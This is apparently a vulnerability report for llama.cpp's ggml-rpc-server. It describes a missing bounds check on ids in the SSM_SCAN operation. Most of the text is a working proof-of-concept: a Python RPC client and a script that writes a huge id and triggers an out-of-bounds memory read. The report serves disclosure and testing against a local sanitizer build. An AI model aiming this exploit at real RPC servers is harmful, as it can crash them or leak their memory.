build-asan/bin/ggml-rpc-server -p 19003 &
sleep 1
cat > rpc_client.py <<'PYEOF'
import socket, struct
RPC_CMD_ALLOC_BUFFER=0; RPC_CMD_BUFFER_GET_BASE=3; RPC_CMD_FREE_BUFFER=4
RPC_CMD_SET_TENSOR=6; RPC_CMD_GET_TENSOR=8; RPC_CMD_GRAPH_COMPUTE=10
RPC_CMD_HELLO=14; RPC_CMD_GRAPH_RECOMPUTE=16
GGML_TENSOR_FLAG_COMPUTE=16
GGML_TYPE_F32=0; GGML_TYPE_I32=26; GGML_TYPE_I64=27
RPC_TENSOR_FMT="<QIQ4I4II16ii10QQQQ64s4s"
def pack_rpc_tensor(id_, type_, buffer, ne, nb, op, op_params, flags, src, view_src, view_offs, data, name):
ne=(list(ne)+[1,1,1,1])[:4]; nb=(list(nb)+[0,0,0,0])[:4]
op_params=(list(op_params)+[0]*16)[:16]; src=(list(src)+[0]*10)[:10]
name_b=name.encode()[:63].ljust(64,b"\x00")
return struct.pack(RPC_TENSOR_FMT, id_, type_, buffer, ne[0],ne[1],ne[2],ne[3],
nb[0],nb[1],nb[2],nb[3], op, *op_params, flags, *src, view_src, view_offs, data, name_b, b"\x00"*4)
def contig_nb(ne, ts):
return [ts, ts*ne[0], ts*ne[0]*ne[1], ts*ne[0]*ne[1]*ne[2]]
class RpcConn:
def __init__(self, host, port, timeout=10):
self.sock=socket.create_connection((host,port),timeout=timeout); self.sock.settimeout(timeout); self._hello()
def _sendall(self,b): self.sock.sendall(b)
def _recvall(self,n):
buf=b""
while len(buf)<n:
c=self.sock.recv(n-len(buf))
if not c: raise ConnectionError("closed %d/%d"%(len(buf),n))
buf+=c
return buf
def _hello(self):
self._sendall(bytes([RPC_CMD_HELLO])); self._sendall(struct.pack("<Q",24)); self._sendall(b"\x00"*24)
size=struct.unpack("<Q",self._recvall(8))[0]; self._recvall(size)
def cmd_no_rsp(self,cmd,payload):
self._sendall(bytes([cmd])); self._sendall(struct.pack("<Q",len(payload))); self._sendall(payload)
def cmd(self,cmd,payload):
self.cmd_no_rsp(cmd,payload); size=struct.unpack("<Q",self._recvall(8))[0]; return self._recvall(size)
def alloc_buffer(self,size,device=0): return struct.unpack("<QQ", self.cmd(RPC_CMD_ALLOC_BUFFER, struct.pack("<IQ",device,size)))
def buffer_get_base(self,ptr): return struct.unpack("<Q", self.cmd(RPC_CMD_BUFFER_GET_BASE, struct.pack("<Q",ptr)))[0]
def free_buffer(self,ptr): return self.cmd(RPC_CMD_FREE_BUFFER, struct.pack("<Q",ptr))
def set_tensor(self,t,off,data): self.cmd_no_rsp(RPC_CMD_SET_TENSOR, t+struct.pack("<Q",off)+data)
def get_tensor(self,t,off,size): return self.cmd(RPC_CMD_GET_TENSOR, t+struct.pack("<QQ",off,size))
def graph_compute(self,device,node_ids,tensors):
buf=struct.pack("<II",device,len(node_ids))
buf+=b"".join(struct.pack("<Q",i) for i in node_ids)
buf+=struct.pack("<I",len(tensors))+b"".join(tensors)
self.cmd_no_rsp(RPC_CMD_GRAPH_COMPUTE, buf)
def graph_recompute(self,device=0): self.cmd_no_rsp(RPC_CMD_GRAPH_RECOMPUTE, struct.pack("<I",device))
PYEOF
cat > vuln_003.py <<'PYEOF'
import sys, struct, time
sys.path.insert(0,".")
from rpc_client import RpcConn, pack_rpc_tensor, contig_nb, GGML_TYPE_F32, GGML_TYPE_I32, GGML_TENSOR_FLAG_COMPUTE
GGML_OP_SSM_SCAN=77
def f32(*v): return struct.pack("<%df"%len(v),*v)
port=int(sys.argv[1]) if len(sys.argv)>1 else 19003
c=RpcConn("127.0.0.1",port)
ptr,size=c.alloc_buffer(1<<20); base=c.buffer_get_base(ptr)
nc,nr,nh,ng,nt,ns=4,2,2,1,1,1
off_s0,off_x,off_dt,off_A,off_B,off_C,off_ids,off_dst=0,4096,8192,12288,16384,20480,24576,28672
ne_s0=[nc,nr,nh,ns]; nb_s0=contig_nb(ne_s0,4)
src0=pack_rpc_tensor(1,GGML_TYPE_F32,ptr,ne_s0,nb_s0,0,[],0,[0]*10,0,0,base+off_s0,"s0")
c.set_tensor(src0,0,f32(*([0.1]*(nc*nr*nh*ns))))
ne_x=[nr,nh,nt,ns]; nb_x=contig_nb(ne_x,4)
src1=pack_rpc_tensor(2,GGML_TYPE_F32,ptr,ne_x,nb_x,0,[],0,[0]*10,0,0,base+off_x,"x")
c.set_tensor(src1,0,f32(*([0.2]*(nr*nh*nt*ns))))
ne_dt=[nh,nt,ns,1]; nb_dt=contig_nb(ne_dt,4)
src2=pack_rpc_tensor(3,GGML_TYPE_F32,ptr,ne_dt,nb_dt,0,[],0,[0]*10,0,0,base+off_dt,"dt")
c.set_tensor(src2,0,f32(*([0.1]*(nh*nt*ns))))
ne_A=[1,nh,1,1]; nb_A=contig_nb(ne_A,4)
src3=pack_rpc_tensor(4,GGML_TYPE_F32,ptr,ne_A,nb_A,0,[],0,[0]*10,0,0,base+off_A,"A")
c.set_tensor(src3,0,f32(*([-0.5]*nh)))
ne_B=[nc,ng,nt,ns]; nb_B=contig_nb(ne_B,4)
src4=pack_rpc_tensor(5,GGML_TYPE_F32,ptr,ne_B,nb_B,0,[],0,[0]*10,0,0,base+off_B,"B")
c.set_tensor(src4,0,f32(*([0.3]*(nc*ng*nt*ns))))
ne_C=[nc,ng,nt,ns]; nb_C=contig_nb(ne_C,4)
src5=pack_rpc_tensor(6,GGML_TYPE_F32,ptr,ne_C,nb_C,0,[],0,[0]*10,0,0,base+off_C,"C")
c.set_tensor(src5,0,f32(*([0.4]*(nc*ng*nt*ns))))
ne_ids=[ns,1,1,1]; nb_ids=contig_nb(ne_ids,4)
src6=pack_rpc_tensor(7,GGML_TYPE_I32,ptr,ne_ids,nb_ids,0,[],0,[0]*10,0,0,base+off_ids,"ids")
malicious_id=1<<20
c.set_tensor(src6,0,struct.pack("<i",malicious_id))
print("wrote ids[0]=",malicious_id,"OOB offset=",malicious_id*nb_s0[3])
ne_dst=[nr*nh*nt*ns+nc*nr*nh*ns,1,1,1]; nb_dst=contig_nb(ne_dst,4)
src_list=[1,2,3,4,5,6,7]+[0]*3
dst=pack_rpc_tensor(8,GGML_TYPE_F32,ptr,ne_dst,nb_dst,GGML_OP_SSM_SCAN,[],GGML_TENSOR_FLAG_COMPUTE,src_list,0,0,base+off_dst,"dst")
print("sending GRAPH_COMPUTE SSM_SCAN with malicious ids")
c.graph_compute(0,[8],[src0,src1,src2,src3,src4,src5,src6,dst])
time.sleep(1)
try:
print("dst=", c.get_tensor(dst,0,16).hex())
except Exception as e:
print("connection failed (expected if server crashed):", e)
PYEOF
python3 vuln_003.py 19003
Name and Version
ggml-rpc-server, commit 14d3ba4 (tag b9994), built with -DGGML_SANITIZE_ADDRESS=ON -DCMAKE_BUILD_TYPE=Debug.
Operating systems
Linux
Which llama.cpp modules do you know to be affected?
Other (Please specify in the next section)
Command line
Problem description & steps to reproduce
ggml_compute_forward_ssm_scan_f32() reads
const int32_t * ids = (const int32_t *) src6->data;and computess0 = src0->data + ids[i3]*src0->nb[3]with no range check against src0->ne[3]. Unlike shape/stride fields, ids[i3] is an ordinary tensor data value that an RPC client fully controls via SET_TENSOR, and the wire-level deserialize_tensor() bounds check cannot see into tensor contents. Writing a huge int32 into the ids tensor before invoking GGML_OP_SSM_SCAN drives the state-tensor read pointer tens of megabytes out of bounds.Start the server, create the inline RPC client below, then run the client:
First Bad Commit
Not bisected. Confirmed present at 14d3ba4 (tag b9994).
Relevant log output